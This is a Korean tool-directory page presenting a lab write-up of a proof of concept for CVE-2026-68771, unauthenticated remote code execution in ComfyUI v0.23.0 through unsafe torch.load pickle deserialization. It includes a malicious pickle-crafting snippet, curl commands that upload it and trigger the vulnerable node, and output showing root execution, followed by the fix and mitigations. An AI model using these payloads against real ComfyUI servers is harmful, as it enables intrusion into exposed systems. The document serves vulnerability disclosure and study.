Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
comfyui-CVE-2026-68771-PoC — 보안 연구소 — ComfyUI v0.23.0의 안전하지 않은 역직렬화를 통한 인증되지 않은 RCE (CVSS 9.8). 격리된 Docker 환경, 기술 분석 및 문서화. | Kitploit
도구/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAI Security
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

보안 연구소 — ComfyUI v0.23.0의 안전하지 않은 역직렬화를 통한 인증되지 않은 RCE (CVSS 9.8). 격리된 Docker 환경, 기술 분석 및 문서화.

저장소 보기
9시간 26분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-68771 — ComfyUI: 안전하지 않은 역직렬화를 통한 인증 없는 RCE

교육 목적으로만 사용하십시오. 소유하고 있거나 테스트에 대한 명시적인 서면 승인을 받은 시스템에만 사용하십시오.


ComfyUI 소개

ComfyUI는 AI 이미지 및 비디오 생성 모델을 로컬에서 실행하기 위한 오픈 소스 노드 기반 그래픽 인터페이스입니다. 사용자는 노드를 시각적으로 연결하여 복잡한 생성 파이프라인을 구축할 수 있습니다. 각 노드는 모델 로드, 텍스트 프롬프트 인코딩, 샘플링 또는 이미지 후처리와 같은 작업을 나타냅니다. 유연성과 다양한 모델(Stable Diffusion, Flux, HunyuanVideo 등) 지원 덕분에 AI 생성 커뮤니티에서 가장 널리 채택된 도구 중 하나가 되었습니다.

이 애플리케이션은 포트 8188에서 로컬 HTTP API를 노출하며, 프런트엔드는 이를 통해 백엔드와 통신하여 자산을 업로드하고 생성 워크플로를 대기열에 넣습니다. 단일 사용자 로컬 사용을 위해 설계되었지만, 내부 네트워크나 인터넷에 직접 노출된 ComfyUI 인스턴스를 흔히 발견할 수 있습니다. 클라우드 GPU 환경, 공유 연구 환경 또는 자체 호스팅 크리에이티브 스튜디오에서 종종 추가 인증 계층 없이 운영되며, 이는 이 취약점이 목표로 하는 위협 모델과 정확히 일치합니다.

공개 당시 ComfyUI는 GitHub에서 65,000개 이상의 스타를 보유했으며, 사용자 정의 노드와 확장 기능의 활발한 생태계를 가지고 있었습니다. 이들 중 다수는 핵심 애플리케이션 외에 추가 공격 표면을 도입합니다.


요약

CVE-2026-68771은 ComfyUI v0.23.0의 안전하지 않은 역직렬화 취약점(CWE-502)으로, 인증되지 않은 원격 공격자가 서버에서 임의 코드를 실행할 수 있게 합니다. 공격 체인은 두 개의 인증되지 않은 엔드포인트를 결합합니다: 악성 pickle 파일을 업로드하는 POST /upload/image와 LoadTrainingDataset 노드를 통해 역직렬화를 트리거하는 POST /prompt입니다.

필드값
CVECVE-2026-68771
CVSS 3.19.8 (치명적)
벡터AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (신뢰할 수 없는 데이터의 역직렬화)
취약 버전ComfyUI v0.23.0 (및 수정 사항이 없는 이전 버전)
수정 버전Commit 94ee49b1612824366a8631ea069b2a1fa5c73720
공개일2026년 7월 31일

실습 환경

  • 플랫폼: Docker (Kali Linux 호스트)
  • 기본 이미지: python:3.11-slim
  • ComfyUI 버전: v0.23.0 (정확한 git 체크아웃)
  • PyTorch: 2.5.1+cpu (weights_only 기본값 변경 이전 버전)
  • 네트워크 격리: 포트는 127.0.0.1:8188에만 게시, 외부 네트워크 접근 없음
  • 프로세스 권한: uid=0 (root)

기술 분석

1. API 엔드포인트의 인증 누락

POST /upload/image — server.py, 450-453행:

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, 927-928행:

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

두 엔드포인트 모두 접근 제어를 구현하지 않습니다. 모든 HTTP 클라이언트는 인증 없이 파일을 업로드하고 워크플로를 대기열에 넣을 수 있습니다.


2. 취약한 호출 — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, 1568행:

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

weights_only=True 없이 호출된 torch.load()는 Python의 pickle 프로토콜을 사용하여 파일을 역직렬화합니다. Pickle은 데이터 형식이 아니라 Python 객체 직렬화 프로토콜로, 역직렬화 중에 모든 객체의 __reduce__ 메서드를 실행하여 임의 코드 실행을 가능하게 합니다.

이 노드는 PyTorch의 역사적 기본값(weights_only=False)에 의존했으며, 이는 전체 코드베이스에서 명시적 매개변수 없이 호출된 유일한 torch.load 호출이었습니다. 나머지 코드베이스(comfy/utils.py, comfy/sd1_clip.py)는 이미 올바르게 전달하고 있었습니다.


3. 전체 공격 흐름

root@kitploit:~
Attacker (unauthenticated)

[0] CRAFT MALICIOUS PICKLE
    └─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
    └─ PyTorch's torch.save() format wraps it in a valid .pkl container
    └─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Upload shard_0000.pkl (pickle with malicious __reduce__)
    └─ Parameters: type=output, subfolder=cve_test
    └─ Response: 200 OK {"name":"shard_0000.pkl", ...}
    └─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ JSON workflow with LoadTrainingDataset node
    └─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
    └─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Locates shard_0000.pkl in the directory
    └─ torch.load(f) → deserializes the pickle
    └─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE as root
    └─ uid=0(root) gid=0(root) groups=0(root)

개념 증명 증거 (실습)

악성 Pickle 제작

페이로드는 Python의 pickle __reduce__ 프로토콜을 악용합니다. torch.load()가 파일을 역직렬화할 때, Python은 __reduce__가 반환한 호출 가능 객체를 호출하여 객체를 인스턴스화하며, 애플리케이션 로직이 실행되기 전에 공격자가 제어하는 명령을 실행합니다.

파일 이름은 LoadTrainingDataset.execute()에 파일 검색 필터로 하드코딩된 shard_*.pkl 패턴과 일치해야 합니다:

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py:

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

출력:

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

벡터 1 — 인증 없는 파일 업로드

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

응답:

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200, 토큰 없음, 세션 없음, 특수 헤더 없음.


벡터 2 — 인증 없는 워크플로 실행

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

응답:

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

결과 — RCE 확인됨

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

수정 사항 — Commit 94ee49b Diff

파일: comfy_extras/nodes_dataset.py
작성자: Matt Miller
날짜: 2026년 6월 18일
PR: #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

단일 매개변수입니다. weights_only=True는 PyTorch가 텐서와 Python 기본 타입만 허용하는 제한된 역직렬화기를 사용하도록 지시하며, __reduce__가 있는 임의 객체를 거부합니다.

커밋 메시지는 이를 명확히 요약합니다:

"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."

PyTorch 버전 참고: PyTorch 2.6부터 weights_only의 기본값이 False에서 True로 변경되어, 코드 수정 없이도 최신 PyTorch 설치에서 취약점이 완화됩니다. 이 CVE는 특히 PyTorch < 2.6을 실행하는 설치에 영향을 미치며, 이는 2026년 7월 공개 당시의 일반적인 프로덕션 환경이었습니다.


완화 조치 및 권장 사항

즉각적인 수정

ComfyUI를 커밋 94ee49b 이상으로 업데이트하십시오. 코드 한 줄입니다.

심층 방어

1. API 엔드포인트 인증
ComfyUI는 로컬 사용을 위해 설계되었습니다. 네트워크에 노출되는 경우, 기본 인증이 있는 리버스 프록시(nginx/Caddy)로 보호하거나 적절한 세션 관리와 함께 --multi-user 플래그를 사용해야 합니다.

2. ComfyUI를 인터넷에 직접 노출하지 마십시오
애플리케이션 설계는 신뢰할 수 있는 로컬 환경을 가정합니다. CVSS 9.8 점수는 애플리케이션 계층에서 접근 제어가 완전히 부재함을 반영합니다.

3. 업로드 시 파일 형식 검증
/upload/image 엔드포인트는 .pkl을 포함한 모든 파일 확장자를 허용합니다. 실제 이미지 형식의 화이트리스트에 대해 콘텐츠 유형과 확장자를 검증해야 합니다.


핵심 요점

  • 보안 매개변수 누락: 이 버그는 복잡한 알고리즘 결함이 아니라 라이브러리 호출에서 단일 매개변수가 누락된 것이었습니다. 동일한 코드베이스 내의 불일치(다른 torch.load 호출에는 이미 매개변수가 있었음)는 이 노드가 보안 검토 없이 추가되었음을 시사합니다.
  • 라이브러리 기본값에 대한 암묵적 신뢰: 라이브러리의 기본 동작에 의존하는 것은 취약합니다. PyTorch가 weights_only 기본값을 변경하는 데 수년이 걸렸으며, 취약한 코드는 그 기간 내내 존재했습니다.
  • 복합 공격 표면: 두 문제 중 어느 것도 단독으로는(인증 누락 + 안전하지 않은 역직렬화) 일반적인 로컬 사용 맥락에서 CVSS 9.8을 받지 못했을 것입니다. 인스턴스가 네트워크에 노출될 때 두 가지의 조합이 취약점을 치명적으로 만듭니다.

분석은 교육 목적으로 격리된 환경에서 수행되었습니다. 문서화 후 실습 환경은 파괴되었습니다.

도구 다운로드